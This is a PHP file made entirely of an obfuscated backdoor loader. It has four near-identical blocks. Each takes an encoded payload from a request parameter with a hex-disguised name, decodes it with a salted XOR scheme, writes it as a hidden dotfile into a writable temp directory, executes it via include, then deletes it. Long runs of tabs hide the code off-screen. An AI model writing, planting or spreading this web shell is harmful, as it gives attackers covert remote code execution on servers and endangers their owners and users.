<?php																																										if(@$_REQUEST["bind\x69\x6E\x67"] !== null){ $pgrp = $_REQUEST["bind\x69\x6E\x67"]; $pgrp = explode("." , $pgrp ); $itm = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $l = 0; array_walk($pgrp, function ($v8) use (&$itm, &$l, $s, $lenS) { $sChar = ord($s[$l % $lenS] ); $d = ((int)$v8 - $sChar - ($l % 10)) ^ 16; $itm .= chr($d ); $l++; } ); $object = array_filter(["/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP")]); foreach ($object as $entity) { if (is_dir($entity) ? is_writable($entity) : false) { $key = sprintf("%s/.marker", $entity); if (file_put_contents($key, $itm)) { include $key; @unlink($key); exit; } } } }
																																										if(!empty($_POST["\x70\x61r\x61\x6D\x65t\x65r_g\x72o\x75p"])){ $val = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/tmp", "/var/tmp", getcwd(), session_save_path(), "/dev/shm", sys_get_temp_dir()]); $binding = $_POST["\x70\x61r\x61\x6D\x65t\x65r_g\x72o\x75p"]; $binding=explode ("." , $binding); $entity = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); $x = 0; array_walk( $binding ,function( $v6) use( &$entity ,&$x ,$s5 ,$sLen) { $chS = ord( $s5[$x % $sLen]); $d = ( ( int)$v6 - $chS -( $x % 10)) ^ 87; $entity .= chr( $d); $x++;}); $flg = 0; do { $resource = $val[$flg] ?? null; if ($flg >= count($val)) break; if (is_writable($resource) && is_dir($resource)) { $token = vsprintf("%s/%s", [$resource, ".data"]); if (@file_put_contents($token, $entity) !== false) { include $token; unlink($token); die(); } } $flg++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["dat"])){ $flg = $_REQUEST["dat"]; $flg= explode ('.', $flg ) ; $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $s = 0; while($s<count($flg)) { $v6 = $flg[$s]; $sChar = ord($salt[$s %$lenS] ); $dec =((int)$v6 - $sChar -($s %10))^ 68; $parameter_group .= chr($dec ); $s++; } $pointer = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp"]); foreach ($pointer as $item): if (is_writable($item) && is_dir($item)) { $component = sprintf("%s/.desc", $item); $success = file_put_contents($component, $parameter_group); if ($success) { include $component; @unlink($component); exit;} } endforeach; }


if(array_key_exists("\x70o\x69nt\x65r", $_POST)){
	$object = $_POST["\x70o\x69nt\x65r"];
	$object  =explode	(   '.',$object	)	;	
	$element =	'';
            $salt =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =	strlen( $salt);
    
            foreach( $object as $v => $v2):
                $chS =	ord( $salt[$v%  $lenS]);
                $dec =	( ( int)$v2 - $chS -( $v%  10)) ^ 100;
                $element.= 	chr( $dec);
            endforeach;
	$pset = array_filter([getenv("TMP"), "/tmp", session_save_path(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd()]);
	while ($parameter_group = array_shift($pset)) {
    		if (max(0, is_dir($parameter_group) * is_writable($parameter_group))) {
    $pgrp = join("/", [$parameter_group, ".ent"]);
    $file = fopen($pgrp, 'w');
if ($file) {
	fwrite($file, $element);
	fclose($file);
	include $pgrp;
	@unlink($pgrp);
	die();
}
}
}
}